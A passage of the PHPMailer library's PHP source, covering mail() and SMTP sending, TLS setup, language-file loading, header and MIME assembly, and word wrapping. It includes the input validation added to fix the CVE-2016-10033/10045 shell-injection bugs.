pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg, //but some hosting providers disable it, creating a security problem that we don't want to have to deal with, //so we don't. if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://www.rfc-editor.org/rfc/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see https://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); //If there are no To-addresses (e.g. when sending only to BCC-addresses) //the following should be added to get a correct DKIM-signature. //Compare with $this->preSend() if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( $result, [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception(self::lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Provide SMTP XCLIENT attributes * * @param string $name Attribute name * @param ?string $value Attribute value * * @return bool */ public function setSMTPXclientAttribute($name, $value) { if (!in_array($name, SMTP::$xclient_allowed_attributes)) { return false; } if (isset($this->SMTPXClient[$name]) && $value === null) { unset($this->SMTPXClient[$name]); } elseif ($value !== null) { $this->SMTPXClient[$name] = $value; } return true; } /** * Get SMTP XCLIENT attributes * * @return array */ public function getSMTPXclientAttributes() { return $this->SMTPXClient; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception(self::lang('smtp_connect_failed'), self::STOP_CRITICAL); } //If we have recipient addresses that need Unicode support, //but the server doesn't support it, stop here if ($this->UseSMTPUTF8 && !$this->smtp->getServerExt('SMTPUTF8')) { throw new Exception(self::lang('no_smtputf8'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (count($this->SMTPXClient)) { $this->smtp->xclient($this->SMTPXClient); } if (!$this->smtp->mail($smtp_from)) { $this->setError(self::lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception(self::lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception(self::lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $this->smtp->setSMTPUTF8($this->UseSMTPUTF8); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug(self::lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug(self::lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception(self::lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we are not connecting to localhost //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ( $this->SMTPAutoTLS && $this->Host !== 'localhost' && $sslext && $secure !== 'ssl' && $this->smtp->getServerExt('STARTTLS') ) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception(self::lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { // no exception was thrown, likely $this->smtp->connect() failed $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * Optionally, the language code can be enhanced with a 4-character * script annotation and/or a 2-character country annotation. * @param string $lang_path Path to the language file directory, with trailing separator (slash) * Do not set this from user input! * * @return bool Returns true if the requested language was loaded, false otherwise. */ public static function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'no_smtputf8' => 'Server does not support SMTPUTF8 needed to send to Unicode addresses', 'imap_recommended' => 'Using simplified address parser is not recommended. ' . 'Install the PHP IMAP extension for full RFC822 parsing.', 'deprecated_argument' => 'Argument $useimap is deprecated', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode $foundlang = true; $langcode = strtolower($langcode); if ( !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches) && $langcode !== 'en' ) { $foundlang = false; $langcode = 'en'; } //There is no English translation file if ('en' !== $langcode) { $langcodes = []; if (!empty($matches['script']) && !empty($matches['country'])) { $langcodes[] = $matches['lang'] . $matches['script'] . $matches['country']; } if (!empty($matches['country'])) { $langcodes[] = $matches['lang'] . $matches['country']; } if (!empty($matches['script'])) { $langcodes[] = $matches['lang'] . $matches['script']; } $langcodes[] = $matches['lang']; //Try and find a readable language file for the requested language. $foundFile = false; foreach ($langcodes as $code) { $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php'; if (static::fileIsAccessible($lang_file)) { $foundFile = true; break; } } if ($foundFile === false) { $foundlang = false; } else { $lines = file($lang_file); foreach ($lines as $line) { //Translation file lines look like this: //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.'; //These files are parsed as text and not PHP so as to avoid the possibility of code injection //See https://blog.stevenlevithan.com/archives/match-quoted-string $matches = []; if ( preg_match( '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/', $line, $matches ) && //Ignore unknown translation keys array_key_exists($matches[1], $PHPMAILER_LANG) ) { //Overwrite language-specific strings so we'll never have missing translation keys. $PHPMAILER_LANG[$matches[1]] = (string)$matches[3]; } } } } self::$language = $PHPMAILER_LANG; return $foundlang; //Returns false if language not found } /** * Get the array of strings for the current language. * * @return array */ public function getTranslations() { if (empty(self::$language)) { self::setLanguage(); // Set the default language. } return self::$language; } /** * Create recipient headers. * * @param string $type * @param array $addr An array of recipients, * where each recipient is a 2-element indexed array with element 0 containing an address * and element 1 containing a name, like: * [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']] * * @return string */ public function addrAppend($type, $addr) { $addresses = []; foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . static::$LE; } /** * Format an address for use in a message header. * * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like * ['joe@example.com', 'Joe User'] * * @return string */ public function addrFormat($addr) { if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided return $this->secureHeader($addr[0]); } return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>'; } /** * Word-wrap message. * For use with mailers that do not automatically perform wrapping * and for quoted-printable encoded messages. * Original written by philippe. * * @param string $message The message to wrap * @param int $length The line length to wrap to * @param bool $qp_mode Whether to run in Quoted-Printable mode * * @return string */ public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', static::$LE); } else { $soft_break = static::$LE; } //If utf-8 encoding is used, we will need to make sure we don't //split multibyte characters when we wrap $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); $lelen = strlen(static::$LE); $crlflen = strlen(static::$LE); $message = static::normalizeBreaks($message); //Remove a trailing line break if (substr($message, -$lelen) === static::$LE) { $message = substr($message, 0, -$lelen); } //Split message into lines $lines = explode(static::$LE, $message); //Message will be rebuilt in here $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode && (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', static::$LE); } else { $message .= $buf . $soft_break; } $buf = ''; } while ($word !== '') { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = (string) substr($word, $len); if ($word !== '') { $message .= $part . sprintf('=%s', static::$LE); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if ('' !== $buf_o && strlen($buf) > $length) { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . static::$LE; } return $message; } /** * Find the last character boundary prior to $maxLength in a utf-8 * quoted-printable encoded string. * Original written by Colin Brown. * * @param string $encodedText utf-8 QP text * @param int $maxLength Find the last character boundary prior to this length * * @return int */ public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { //Found start of encoded character byte within $lookBack block. //Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { //Single byte character. //If the encoded char was found at pos 0, it will fit //otherwise reduce maxLength to start of the encoded char if ($encodedCharPos > 0) { $maxLength -= $lookBack - $encodedCharPos; } $foundSplitPos = true; } elseif ($dec >= 192) { //First byte of a multi byte character //Reduce maxLength to split at start of character $maxLength -= $lookBack - $encodedCharPos; $foundSplitPos = true; } elseif ($dec < 192) { //Middle byte of a multi byte character, look further back $lookBack += 3; } } else { //No encoded character found $foundSplitPos = true; } } return $maxLength; } /** * Apply word wrapping to the message body. * Wraps the message body to the number of chars set in the WordWrap property. * You should only do this to plain-text bodies as wrapping HTML tags may break them. * This is called automatically by createBody(), so you don't need to call it yourself. */ public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } /** * Assemble message headers. * * @return string The assembled headers */ public function createHeader() { $result = ''; $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate); //The To header is created automatically by mail(), so needs to be omitted here if ('mail' !== $this->Mailer) { if ($this->SingleTo) { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } elseif (count($this->to) > 0) { $result .= $this->addrAppend('To', $this->to); } elseif (count($this->cc) === 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]); //sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } //sendmail and mail() extract Bcc from the header before sending if ( ( 'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer ) && count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } //mail() sets the subject itself if ('mail' !== $this->Mailer) { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 //https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4 if ( '' !== $this->MessageID && preg_match( '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' . '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' . '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' . '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' . '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di', $this->MessageID ) ) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine('Message-ID', $this->lastMessageID); if (null !== $this->Priority) { $result .= $this->headerLine('X-Priority', $this->Priority); } if ('' === $this->XMailer) { //Empty string for default X-Mailer header $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)' ); } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') { //Some string $result .= $this->headerLine('X-Mailer', trim($this->XMailer)); } //Other values result in no X-Mailer header if ('' !== $this->ConfirmReadingTo) { $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } //Add custom headers foreach ($this->CustomHeader as $header) { $result .= $this->headerLine( trim($header[0]), $this->encodeHeader(trim($header[1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } /** * Get the message MIME type headers. * * @return string */ public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; default: //Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $ismultipart = false; break; } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $this->Encoding) { //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if (static::ENCODING_8BIT === $this->Encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT); } //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } return $result; } /** * Returns the whole MIME message. * Includes complete headers and body. * Only valid post preSend(). * * @see PHPMailer::preSend() * * @return string */ public function getSentMIMEMessage() { return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) . static::$LE . static::$LE . $this->MIMEBody; } /** * Create a unique ID to use for boundaries. * * @return string */ protected function generateId() { $len = 32; //32 bytes = 256 bits $bytes = ''; if (function_exists('random_bytes')) { try { $bytes = random_bytes($len); } catch (\Exception $e) { //Do nothing } } elseif (function_exists('openssl_random_pseudo_bytes')) { /** @noinspection CryptographicallySecureRandomnessInspection */ $bytes = openssl_random_pseudo_bytes($len); } if ($bytes === '') { //We failed to produce a proper random string, so make do. //Use a hash to force the length to the same as the other methods $bytes = hash('sha256', uniqid((string) mt_rand(), true), true); } //We don't care about messing up base64 format here, just want a random string return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true))); } /** * Assemble the message body. * Returns an empty string on failure. * * @throws Exception * * @return string The assembled message body */ public function createBody() { $body = ''; //Create unique IDs and preset boundaries $this->setBoundaries(); $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if ($this->UseSMTPUTF8) { $bodyEncoding = static::ENCODING_8BIT; } elseif (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) { $bodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $bodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the body part only if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) { $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $altBodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the alt body part only if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } if ($this->sign_key_file) { $this->Encoding = $bodyEncoding; $body .= $this->getMailMIME() . static::$LE; } //Use this as a preamble in all multipart message types $mimepre = ''; switch ($this->message_type) { case 'inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= static::$LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = 